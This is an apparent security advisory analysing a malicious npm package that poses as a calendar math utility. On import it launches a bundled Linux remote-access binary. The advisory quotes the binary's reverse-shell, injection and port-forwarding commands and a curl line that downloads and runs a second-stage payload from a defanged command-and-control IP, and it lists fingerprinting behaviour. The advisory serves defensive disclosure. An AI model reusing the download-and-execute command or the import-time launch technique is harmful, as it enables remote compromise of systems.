dim-hydration-ui@1.0.0

Analysis

dim-hydration-ui@1.0.0 masquerades as a calendar/streak math utility but bundles a 63KB Linux ELF (dist/internal/math.bin) that is a remote-access toolkit. Importing the package runs dist/index.mjs, which chmods the binary and spawns it detached in the background. The ELF provides: a port-forwarding mode (/portfwd start <lport> <rhost> <rport>), a reverse-shell / ELF-injection mode (/redshell elf -inject <pid> <filename>), and a second-stage downloader that fetches and executes a remote ELF from the C2 (curl -s -k -o /tmp/.elf_XXXXXX 'hxxp://217[.]60[.]77[.]63:<port>/Others/<file>' && chmod +x && run). It also performs external-IP discovery via api[.]ipify[.]org, fingerprints the host (hostname, uname, network interfaces, user), daemonizes via fork/setsid, and uses TLS (libssl.so.3). C2 IP: 217[.]60[.]77[.]63. Temp paths: /tmp/.sk, /tmp/.cr, /tmp/.elf_XXXXXX.